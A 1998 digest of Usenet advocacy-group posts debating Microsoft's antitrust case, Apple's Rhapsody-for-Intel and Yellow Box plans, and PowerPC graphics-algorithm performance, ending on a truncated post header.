Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
References: <6ir7p5$nt$4@ligarius.ultra.net> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jsn3d$3ri$2@gte1.gte.net> <tvy3ee4enaj.fsf@cn1.connectnet.com>
Message-ID: <35633a25.0@news.depaul.edu>
Date: 20 May 98 20:16:37 GMT
In comp.sys.next.advocacy Darin Johnson <darin@usa.net.removethis> wrote:
> roger@. (Roger ) writes:
> > >They are not requiring MS to ship Netscape.
> >
> > That is exactly what they wanted.
> From what I read, it was an "allowable option". They're not requiring
> it (as far as what I read on Tuesday anyway). There are other
> allowable options, less onerous to MS.
My interpretation was that this was DOJ getting back at Microsoft
for their response to the court order last year; Microsoft gave
vendors two options: ship an outdated version of the OS, or ship
the version with IE. Shipping the outdated version of the OS wasn't
really an option. Shipping the version with IE wasn't what the
DOJ wanted.
So this time, DOJ gave Microsoft their own choice of options,
none of which were quite palatable.
Hee hee hee.
--
"... and subpoenas for all." - Ken Starr
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Wed, 20 May 1998 18:35:00 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-2005981835000001@132.236.171.104>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6juf9b$d0p$1@ns3.vrx.net> <6jv1ed$1v6$1@crib.bevc.blacksburg.va.us> <6junbc$is5$1@ns3.vrx.net> <6jvavf$2cn$1@crib.bevc.blacksburg.va.us> <35633073.0@206.25.228.5>
In article <35633073.0@206.25.228.5>, jkheit@xtdl.com wrote:
> Apple doesn't strike me as the kind of company that likes to give
> up control of *anything* to anyone. I could be, and hope I'm, wrong.
I don't think you're wrong. Apple kills projects instead of selling them
to other interested companies.
--
Eric Bennett (www.pobox.com/~ericb) presents Microsoft COO Bob Herbold:
July 97: "You can't present [Win98] as the second coming of Christ, because
it isn't."
May 98: "Windows 98 is not merely an important next step forward in
innovation for the PC users, it's also the spark that will light a torch of
opportunity for every one of the companies present on this stage and many
more across the country."
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: That's not GX, that's Bravo -an Open Letter to Ric Ford
Date: Wed, 20 May 1998 18:57:42 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-2005981857430001@192.168.0.3>
References: <6jusgc$mfv$1@ns3.vrx.net> <B188A017-226DF@206.165.43.97>
In article <B188A017-226DF@206.165.43.97>, "Lawson English"
<english@primenet.com> wrote:
:It's conceivable since the FP unit's add/subtract is the same speed as the
:integer unit's and you could divide the work between the two in the case of
:Bresenham's line (and probably circle/elipse as well).
Well you could certainly do the setup calculations in floating point,
but the algorithm itself is essentially an integer algorithm. For Maury's
'pure floating-point' idea to work you'd have to do a rounding operation
at every pixel. That's probably not going to be faster than the handful of
increments and compares that Bresenham's calls for. Any PPC optimization
gurus are welcome to correct me. :)
: However, for more
:complex curves, I start to wonder. The algorithm used to create curves in
:GX uses an integer subdivision algorithm, for instance. That should be
:ideally suited to shifts and rotates, which take 1 cycle in the
:current-generation PPC integer units, whereas division is still pretty slow
:(~20 cycles) for today's floating point units.
:
:For cubic beziers, it might be better to use the fp unit, but I'm not up on
:bezier optimization algorithms...
There was an interesting paper in the '97 Siggraph proceedings about
discrete prefiltering of cubic paths for anti-aliasing. The most optimal
system probably uses a mixture of fixed-point and floating-point, but the
exact mixture is probably very processor dependent. A pure fixed-point
algorithm is a pretty safe bet for good speed.
:Once AltiVec gets into the mix, all bets are off anyway.
Yep, and hopefully Motorola will provide some flexible libraries to
program the beasties.
-Eric
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: APPLE is forcing best os in the world into obscurity!!
Date: Wed, 20 May 1998 16:49:34 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35634FEE.14EC681@milestonerdl.com>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <356334fd.0@206.25.228.5>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
John Kheit wrote:
> macghod@concentric.net wrote:
> > 3) How many pc owners will buy rhapsody 1.o for intel? It would
> > be preety stupid knowing its the last version.
>
> This is the idiot mistake sj seems to continously make. Pre-announcing
> the death of something to make sure it's a failure. Fine, he wants
> to be a bonehead and kill the intel version, then why on earth
> bother releasing 1.0 at all!?!
Because Apple had said in public forums there WOULD be a RhapTel. No
statements about how LONG it would be around tho.
> It's idiocy.
Not at all.
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: 20 May 1998 22:42:40 GMT
Organization: I don't think so
Message-ID: <slrn6m6nar.c8d.jason@jhste1.dyn.ml.org>
References: <*johnnyc*-2005981752050001@jchristie.halifaxcable.dal.ca> <B188A373-2F0FF@206.165.43.97>
Lawson English posted the following to comp.sys.mac.advocacy:
>Reverse engineering is generally illegal.
Since when? If you "clean room" it, it's not, AFAIK.
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: That's not GX, that's Bravo -an Open Letter to Ric Ford
Date: 20 May 1998 22:55:18 GMT
Organization: I don't think so
Message-ID: <slrn6m6o2h.c8d.jason@jhste1.dyn.ml.org>
References: <6jusgc$mfv$1@ns3.vrx.net> <B188A017-226DF@206.165.43.97>
Lawson English posted the following to comp.sys.mac.advocacy:
>It's conceivable since the FP unit's add/subtract is the same speed as the
>integer unit's and you could divide the work between the two in the case of
>Bresenham's line (and probably circle/elipse as well). However, for more
>complex curves, I start to wonder. The algorithm used to create curves in
>GX uses an integer subdivision algorithm, for instance. That should be
>ideally suited to shifts and rotates, which take 1 cycle in the
>current-generation PPC integer units, whereas division is still pretty slow
>(~20 cycles) for today's floating point units.
Here's a question (probably for Tim Olson, but feel free to chime
in Lawson). Why does the fres instruction exist? I just compared its
performance to fdivs doing the same thing, and they were almost exactly
the same in performance (a few hundredths of a second difference for
10M iterations) - this on a 603e.
From: G.C.Th.Wierda@AWT.nl (Gerben Wierda)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Debate: Why Rhapsody for Intel would/could be a success?!
Date: Wed, 20 May 1998 10:05:31 GMT
Organization: Adviesraad voor het Wetenschaps- en Technologiebeleid
Sender: news@AWT.NL
Message-ID: <Et92p7.Dx8@AWT.NL>
References: <6jsc2d$cqh$1@msunews.cl.msu.edu>
spammers@ruin.the.internet.channelu.com wrote:
>Well as the title suggests I figured with the statements on stepwise &
>macnn
>and from others about the seeming fact that Apple plans no development
>beyone Rhapsody1.0 for Intel that perhaps we could start a debate on
>this topic alone. Hence the new thread.
>
>I've sat and thought about this for a while and can only come up with
>the following at this point (mostly negative for Rhapsody on Intel).
>
>Reasons why Apple should drop Rhapsody for Intel.
>
>(D1) Because YB on 9x/NT will have the benefits of YB apps (including
> WO, EOF, etc.) along with giving access to all of the MS
> apps - seemless. Cheap as you can get.
>
>(D2) (1) would indicate that YB 9x/NT will sell many more copies than
> Rhapsody for Intel(RI) so why spend money to develop it when
> Apple won't be selling too many copies.
>
>(D3) Who will purchase it over YB? Why? Is that sufficient reason?
People wanting to use the "shared services". Developers who want to run on a
decent OS instead of NT.
>(D4) Rhapsody for Intel will only take away from PPC sales, another
> reason to dump it.
This is a bogus argument. Either PPC is a lot better than PC hardware and it
will win the competition, or it is not. Creating a propriatary software set
that only runs on your own hardware only makes people not buy that hardware,
as Digital found out when they tried to keep on to VMS.
Besides, this argument contradicts D1-D3 (the assumption that YB on NT is
enough). If YB on NT is really enough, the competition is already there. You
can't argue both ways. Either YB/NT is enough, in that case YB/NT will
compete with PPC, or it isn't (and you have proprietary lock-in in a stronger
version)
>(D5) If a person or organization runs Rhapsody for Intel they will
> loose 9x/NT compatibility except through a dual boot - so
> why would they do this vs. just running NT/9x w/ YB?
Actually, this depends on the availability of RealPC or equivalent for
Rhapsody.
>(D6) What if we knew that YB performance would be just as good
> as YB on Mach for YB applications - except for the web
> servers of course which will run far better on a G3 anyway.
> Would you still buy Rhap1.0 on Intel vs. YB on 9x/NT?
Yes. Because I don't want to run NT if I can prevent it.
>(D7) Drivers - the amount of $$ just to support devices costs
> too darn much - the complaints resulting from none or
> badly supported drivers will do more to hurt Rhapsody/Apple
> than to help it.
Actually, the IOKit makes it fairly easy for people to develop drivers,
taking the load of Apple to provide.
>(D8) BTW: Did we tell you with Enterprise you can still develop
> YB apps on YB on NT (I'm not sure about 9x - would assume
> it would work there too).
A rephrase of your earlier arguments assuming YB/NT is enough.
>(D9) SMP will be too hard on Intel vs. PPC (or too much time/$$)
> this will also be percieved negatively by many people..
> "We just can't win by supporting Rhapsody for Intel"
This is beside the point. We have hardware competition and software
competition. Apple needs to see these (more) separately. If SMP on intel is
inherently bad, it is so for NT and for Mach.
>Reasons to support Rhapsody for Mach on Intel.
>
>(S1) Because the dropping of the support would be a signal
> to many that Apple lacks any commitment to anything but
> markets. So if we buy into a technology (software or hardware)
> we can easily be left in the dust w/o so much as a blink of an
> eye.
I disagree here abit too. Dropping support on something isn't necessarily
bad. Market focus is good. The problem *is* commitment. For the last year or
so, Apple has stated time and again that they would support intel hardware
with their own OS. Now they turn their backs on it *before* they even tried
it. And there is something else: knowing that the OS runs on two entirely
different hardware architectures (one little-endian and one big-endian)
increases my trust in the foundation a lot.
>(S2) Because the natural path to MacOS X/Rhapsody PPC would
> be through YB 9x/NT first then Rhapsody Intel and finally Rhapsody
> PPC. It makes for a much easier transition to Rhapsody or MacOS X
> to not have to purchase a new OS AND hardware at the same
> time.
This is true. Not only for developers, but mainly for deployers.
>(S3) Because you've already done most of the work. Why drop
> it now? If even .1% of the wintel market picks up a copy
> that would mean 100-300K copies. Isn't that enough to pay
> for a simple PPC - Intel back port, and a few drivers??
I disagree here. You always base decisions on future return&cost, not on past
cost. The other way around you would throw good money after bad (if the first
money was spent badly). That is something Apple has done wrong in the past
(It told the cloners: "MacOS licensing is worth X because we spent that money
on it" and that is idiotic, because the worth of something is not defined by
the cost but by what the market is willing to pay).
>(S4) Because if you drop it Apple will be percieved as following
> completely in the steps of NeXT Inc. in terms of proprietary
> hardware and software & closed systems which equates
> to a philosopy that is even worse than Microsoft - similiar
> to that which failed @ SGI (though YB on 9x/NT is your
> only VERY IMPORTANT difference). The world already
> is against Microsoft - why would they buy into the same
> if not worse thing at Apple?
They would not. See also Digital (Once a big player, recently purchased by
Compaq).
>(S5) Because if G3 performance is so good having a Rhapsody
> on Intel would demonstrably illustrate that to many people..
> Rhapsody for Intel would become a reason to buy
> PPC and Rhapsody for PPC.
>
> That is unless Apple already knows different (then this
> would be a reason for not to support Rhapsody on Intel)
If PPC *is* better they can't loose by supporting intel. If it *isn't* they
are only fooling themselves.
>Finally as the above is only preliminary and the results of 30 minutes
>of writing I'm sure others comments will spur more thought. Frankly
>I am having a hard time thinking of solid financial reasons why Apple
>should support a Rhapsody for Intel beyond 1.0.
It has to do with trust, not financial reasons.
>Given the reasons
>I think YB for 9x/NT squashes any need for it - and gives a lot back
"Squashes" is too strong".
---
Gerben Wierda,
Stafmedewerker Adviesraad voor het Wetenschaps- en Technologiebeleid.
Staff member Advisory Council for Science and Technology Policy
Javastraat 42, 2585 AP, Den Haag/The Hague, The Netherlands
Tel (+31) 70 3639922 Fax (+31) 70 3608992
http://www.AWT.nl/prive/wierda/
The fox knows many things, but the hedgehog knows one big thing.
From: "Ken Schuller" <schullersite@NOworldnet.att.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: give them what they want, what they really really want... :-)
Date: Wed, 20 May 1998 18:12:16 -0500
Organization: AT&T WorldNet Services
Message-ID: <6jvnuc$5df@bgtnsc02.worldnet.att.net>
References: <6jpv0r$1cc$103@ironhorse.plsys.co.uk> <6jqees$hl0$1@news12.ispnews.com> <6jqrsa$mdk$1@news.idiom.com> <6jquq3$k2g1@odie.mcleod.net> <slrn6m1f63.el.jason@jhste1.dyn.ml.org> <joe.ragosta-1905980815500001@wil130.dol.net> <ericb-2005981700340001@132.236.171.104> <slrn6m6kh4.c8d.jason@jhste1.dyn.ml.org>
Jason S. wrote in message ...
>Eric Bennett posted the following to comp.sys.mac.advocacy:
>
>>At the risk of seriously insulting women everywhere, how can we be certain
>>that people using fake names like "Franky" and "stevejobs@apple.com" are
>>male?
>
>Despite the remote possibility that is so, I think that we can be confident
>that Mr. Rizzo has an X and a Y (and maybe more than his fair share of
>chromosones altogether...)
>
And here I thought it was the -missing- ones that were responsible for his
"unique" posting style... :)
Ken
Ken Schuller
Network Systems Specialist
NovaNET Learning, Inc.
========================
"In computing because it beats working for a living."
I speak for me.
Remove the obvious spam foil to reply via e-mail.
==========================================
From: mr_boxster@nospam_yahoo.com (MR_boxster)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 20 May 98 21:06:17 GMT
Message-ID: <6jvgoa$8t5$3@nntp2.ba.best.com>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <tvy67j0enft.fsf@cn1.connectnet.com>
In article <tvy67j0enft.fsf@cn1.connectnet.com>, Darin Johnson <darin@usa.net.removethis> wrote:
>"John Saunders" <jws@jws.ultranet.com> writes:
>
>Now, suppose Microsoft takes Word, cuts it in half with a knife, slaps
>some glue on the bleeding parts, and then declares "this part is the
>new word processing component of the OS, and here is the API." At
>that point, Word *instantly* is conformant to that API, whereas
>WordPerfect may need several long years to redesign their product to
>use the API.
Soemthing like this did happen. Its called universal windows printing support.
MS added a unified printer system where all printer manufacture would simply
write a driver for "windows" instead of a specific application. WordPerfect on
the other hand, had their own printer drivers.
Because MS added the ubiquitous universal "windows/OS centric approach" to
printer drivers, many of other applications benefited. Those that didn't....
well.. Its like Autocad for DOS. How many graphics card company spend time
writing ACAD drivers if they could only concentrate on just "one" Windows
driver.
From: dpetticord@hotmail.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 20 May 1998 21:01:46 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6jvgbq$jo1$1@nnrp1.dejanews.com>
References: <6j4gep$l28$1@nnrp1.dejanews.com> <rmcassid-1105981238190001@dante.eng.uci.edu> <6j8cet$fgg$1@nnrp1.dejanews.com> <rmcassid-1205980106390001@dialin33418.slip.uci.edu> <6jb7i9$d0l$1@nnrp1.dejanews.com> <rmcassid-1305980120280001@dialin33423.slip.uci.edu> <6jgf0l$fvt$1@nnrp1.dejanews.com> <rmcassid-1505981205450001@dante.eng.uci.edu> <6jl4vq$pqa$1@nnrp1.dejanews.com> <rmcassid-1805981355460001@dante.eng.uci.edu> <6jr0kn$ij5$1@antares.en.com> <356512fc.258067534@news.supernews.com>
Time for a review...
Just how different are our views?
In article <356512fc.258067534@news.supernews.com>,
maxman@poboxes.com wrote:
>
> "David Petticord" <dpetticord@hotmail.com>,
> alt.destroy.microsoft, Mon, 18 May 1998 18:01:51 -0400:
>
> >Robert Cassidy wrote in message ...
> >>It's not in GMs marketspace to have to be concerned that
> >>MS has 96% of the OS market, yet it is exactly that dominance in market
> >>'A' that is allowing MS to exhibit dominance in the unrelated market 'B'.
> >
> >Apparently the DOJ and states agree with you. They want Microsoft to
> >give equal treatment to Netscape's Navigator. Even if that means
> >Microsoft has to distribute their competitor's product. I am interested
> >in what the courts will have to say about this one.
>
> Robert's point is valid. YES, it seems ludicrous that
> Microsoft would be required to so actively facilitate their
> competition.
<snip>
> [I honestly think we've got you here, David. Consider your
> arguments, but thanks again for keeping me (and others) so
> informed and precise about the facts; you do us a great
> service as devil's advocate, and thanks again. ;-}]
I considered my arguments and I am beginning to see our differences
diminishing since the DOJ started the anti-trust case.
I understand Microsoft offered to put a link to Netscape's home
page on the first screen desktop. The DOJ wants Navigator installed.
This seems like a small difference.
The DOJ may have enough of a case to force Microsoft to yield on this
point and the two of them may yet come to an agreement. If they do not,
the court procedings will be entertaining.
> >>The same argument can be made for Netscape,
> >>although some people choose the wrong thinking that 'software is software'
> >>and therefore conclude that Netscape can compete with an OS.
> >>
> >
> >I thought I was hearing something how Navigator (with Java) was
> >going to make Windows unneccesary. Is this "wrong thinking"?
>
> Oh, Java again. ;-)
> Yes, the thinking is "wrong" here, but only because the
> facilitation of Java to "make Windows unnecessary" is a long
> range goal that is both beneficial to the consumer and
> actively promotes, rather than inherently limits, the
> innovation and competition in the future market.
>
Now we are getting into degrees. What is "long range" in this
industry? It would be "unlawful" to prevent Microsoft from evolving
WindowsXX in an effort to prevent its extinction. Even a monopoly
is allowed to protect its products from becoming out-dated.
This means the courts have a balancing act. How does it prevent
Microsoft from illegally maintaining its monopoly while still allowing
it to legitimately protect its products from becoming "unnecessary".
I think Microsoft is fighting a losing battle. Microsoft's answer has
become "bigger is better". The bubble will burst eventually. I just
think it is hypocritical to, on one hand, say Microsoft has no legitimate
reason for its action, and then point out how WindowsXX will become
"unneccesary" with the other.
> Considering that idea, that the future goals of the software
> market can be accurately used as a justification for legal
> action {which I admit seems somewhat irrational}, I believe
> I've discovered one of the root causes of anti-MS sentiment
> among computer professionals. It occurred to me that an
> experienced and skilled programmer, or even one familiar with
> computer operations, can discern subtle methods and mechanisms
> in software that are clearly meant to stifle competition and
> limit choice, as opposed to fostering innovation and
> competition. Again, it may seem a fanatical idea, but I have
> justification.
Maybe I am too jaded. I see these practices everywhere. I have worked
in the military where software companies wrote millions of lines of
code and sold it to our government except for one vital, proprietary
piece.
Again, we are talking degrees. Microsoft may be one of the biggest offenders
but all of the major players here have done this. Netscape has several times
implemented a propriatory function or feature to Navigator in an attempt
to "trap" users in using only their browser. Can you name any publically
traded company that has not done these kinds actions?
>
> I am deeply involved in the details of network management.
> There is an obvious progression of algorithmic genetics and a
> specific history of instrumentation within the field of SNMP
> management of hubs, routers, and switches that is quite
> demonstrable. This history, when accurately mapped, allows
> one to see how technology has been re-used and developed
> through previous decades. It has taken me years to see these
> consistencies in software, and experience with the lowest
> practical levels of detail, and I have decided that software
> cannot lie. It does not depend on perception; the real
> intentions of the programmer can be easily discerned by the
> practiced eye.
>
Yes, some programmers do manage to slip good code through the
watchful gaze of pointy haired managers.
> I see no reason to believe, and every evidence to refute, that
> any other software systems are any different. It is obvious
> when you know where to look that Microsoft's real problem, and
> the reason Bill Gates is the richest man in the world, is
> because Microsoft does not give equal access to its operating
> system to any and every application developer, and takes every
> effort to prevent Windows software from being available on
> other operating systems. They stand squarely in the way of
> software interoperability on the Internet for no reason but
> their own personal gain. To me, that is a crime.
>
Microsoft's pointy haired bosses are more alert.
Max. Have you heard the one about Chinese managers being shot for
producing poor quality products? True or not, the thought strikes a
chord in American engineers. Gee, wouldn't it be nice if managers
were punished instead of rewarded for putting actual quality ahead
of perception.
There are many times I wish this too, but as long as consumers
spend money on poorly made but well marketed products, it will
not happen. Microsoft is only the messenger. Shooting them may
make you feel better, but the problem will remain.
<snip>
> I didn't mean to get off on a rant here, [:-/] but yes, I
> believe the public conception of software, including yours,
> Dave, needs some radical realignment.
>
And I will join you in the fight. Let's make Linux better. Let's
teach users a better way. Let's SHOW them why Microsoft's products
are inferior. Forcing people to do the "right thing" without explaining
why accomplishes nothing.
> Linux. The World's Operating System (tm)
>
> --
> d8=? maxman
> *** The best way to convince another is
> to state your case moderately and
> accurately. - Benjamin Franklin ***
>
Nice Quote
David Petticord
Complete Networks, Inc.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 20 May 1998 19:26:43 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-2005981926430001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us> <6j9d8c$ft4$1@larry.admin.phil.uu.nl> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <mcasse-2708561359510001@line8047.ras.ilstu.edu> <ericb-1405981247490001@132.236.171.104> <6jpsje$1cc$100@ironhorse.plsys.co.uk>
In article <6jpsje$1cc$100@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> > Three! The MacOS 8 APIs will still work too!
> >
> Rubbish. Show me where it says that.
>
> MacOS 8 apps will only run in the BlueBox, which can be regarded as a
> seperate application. Carbon is a subset of MacOS APIs which allow an
> application to be tweaked to run native on MacOS X.
The slide pictures I saw showed Yellow, Blue, and Carbon all with equal
stature sitting on top of the same underlying layers of the OS. There was
no distinction made. Is there one?
Certainly I think the statement "MacOS 8 APIs will work too!" is correct
regardless of whether there is an additional emulation layer underneath
them. Would you deny, for example, that "68k code still works" on PowerPC
systems? The fact is that if you write your apps using today's MacOS 8
APIs, your software will run under MacOS X. That's enough to justify my
statement that MacOS 8 APIs still work too.
--
Eric Bennett (www.pobox.com/~ericb) presents Microsoft COO Bob Herbold:
July 97: "You can't present [Win98] as the second coming of Christ, because
it isn't."
May 98: "Windows 98 is not merely an important next step forward in
innovation for the PC users, it's also the spark that will light a torch of
opportunity for every one of the companies present on this stage and many
more across the country."
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 20 May 1998 19:40:25 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-2005981940250001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <ericb-1705981603400001@132.236.171.104> <joe.ragosta-1805980747570001@wil100.dol.net> <ericb-1805981357420001@132.236.171.104> <6jq20b$khp@newsb.netnews.att.com>
In article <6jq20b$khp@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> Eric Bennett <ericb@pobox.com> wrote:
>
> >I think it is legitimate to expect Apple to announce where the Yellow Box
> >will be in 18 months. 48 month? No. 18 months? Yes.
>
> I disagree. Apple has clearly announced that MacOS X will run yellow box
> applications. Apple has also announced that NT will run yellow box
> applications. Perhaps NT 5.0 will be released in 18 months.
>
> What Apple has not announced is whether it will have its own OS for
> Intel beyond Rhapsody 1.0.
Sorry. I meant the *total* picture for YB. In other words, will Apple
still actively be working on the Intel version, or is it a dead-end
product?
> If there are blockbuster Yellowbox applications produced, then
> Apple can easily continue Intel support beyond Rhapsody 1.0.
> If developers do not produce successful Yellowbox applications in
> the one year between Rhapsody 1.0 and MacOS X, then no matter
> how good the Yellowbox is, it is not a commercially viable product,
> and future support should be reconsidered.
But if Apple does not commit to YB/Windows, there will be fewer
blockbuster apps written under YB. Instead, the apps will run under
Carbon. It's a self-fulfilling prophecy.
> So, making promises about Rhapsody on Intel x86 beyond the announced
> horizon is pointless. Anyone with an iota of sense can see that such
> a promise cannot be kept -- conditions are simply too volatile.
In that case, nobody is going to develop for it either, so Apple should
just admit defeat and cancel it all right now, no?
--
Eric Bennett (www.pobox.com/~ericb) presents Microsoft COO Bob Herbold:
July 97: "You can't present [Win98] as the second coming of Christ, because
it isn't."
May 98: "Windows 98 is not merely an important next step forward in
innovation for the PC users, it's also the spark that will light a torch of
opportunity for every one of the companies present on this stage and many
more across the country."
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 20 May 1998 19:35:46 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-2005981935460001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <andyba-ya02408000R1205981051430001@news> <6jagk8$sol$1@xmission.xmission.com> <andyba-ya02408000R1305981540240001@news> <ericb-1405981148530001@132.236.171.104> <joe.ragosta-1505981426030001@wil136.dol.net> <ericb-1705981603400001@132.236.171.104> <joe.ragosta-1805980747570001@wil100.dol.net> <ericb-1805981357420001@132.236.171.104> <joe.ragosta-1905980805010001@wil104.dol.net>
In article <joe.ragosta-1905980805010001@wil104.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> > I think it is legitimate to expect Apple to announce where the Yellow Box
> > will be in 18 months. 48 month? No. 18 months? Yes.
>
> Sure. Apple has stated that Yellow Box is their premiere crossplatform
> development environment.
That's a loaded statement. What if Apple doesn't really care about
crossplatform development? That's like Microsoft saying that "Microsoft
Internet Explorer for Solaris is our premiere Unix product." It doesn't
mean Microsoft cares about supporting Unix over the long term.
> Rather than focusing on the details, though, why not get the main
> point--that Apple has made a commitment to Yellow Box for Rhapsody, MacOS,
> and Windows. They shouldn't have to repeat themselves every 2 months to
> keep people happy.
I think their recent actions call their commitment to cross-platform YB
into question.
> > > Apple has already made such a statement. See MacWeek this week. The plan
> > > is very, very simple if people would stop jumping to conclusions:
> >
> > Do you have a URL? I have been following MacWeek but I have yet to see a
> > direct, unambiguous statement from an Apple employee.
>
> http://www.zdnet.com/macweek/mw_1219/nw_appleosx.html
I see no direct, unambiguous statements from Apple officials in this
article that state that Apple is committed to the x86 beyond this fall.
=====
At WWDC, Apple released Developer Release 2 of Rhapsody on PowerPC. DR2
includes the Blue Box, BSD 4.4, support for G3 machines, an improved
virtual memory system and better multithreading, Apple said. DR2 for Intel
and Yellow Box for Windows will ship in several weeks, the company said.
Looking forward, Apple said it will release Rhapsody 1.0 this fall. Apple
said its goal for the first customer release is a polished OS, but several
new features should make the release. Apple plans to include scripting,
but said AppleScript itself may not be ready in time. The fall release
will also include ColorSync, the company said, and the Windows version
will gain ActiveX support.
=====
According to this, we will see Rhapsody 1.0 for the x86 and a DR2 for YB
for Windows.
There is NOTHING mentioned about longer-term plans.
> > The information you present does not address how long these various
> > configurations will be around.
>
> That's the point. They haven't put an ending date on it because it's the
> plan for the indefinite future until changed. There _is_ no other plan, so
> if you want a crossplatform environment, use YB.
I am not going to use YB if I think Apple is going to drop YB for the x86
after this fall, and there is no promise from Apple that they will not
drop it. In my opinion their emphasis on Carbon calls their focus on
YB/Intel into question.
If Apple intends to support YB/Intel for the "indefinite future" then it
would be quite simple for Steve Jobs to say so. If, on the other hand,
Apple is thinking about dropping it, then they would be wise to do what
they are doing now: not commit to YB/Intel beyond this fall.
--
Eric Bennett (www.pobox.com/~ericb) presents Microsoft COO Bob Herbold:
July 97: "You can't present [Win98] as the second coming of Christ, because
it isn't."
May 98: "Windows 98 is not merely an important next step forward in
innovation for the PC users, it's also the spark that will light a torch of
opportunity for every one of the companies present on this stage and many
more across the country."
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: 20 May 1998 23:35:09 GMT
Organization: Idiom Communications
Message-ID: <6jvpbd$62e$3@news.idiom.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net>
<nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us>
<6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com>
<pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com>
<6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu>
<Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com>
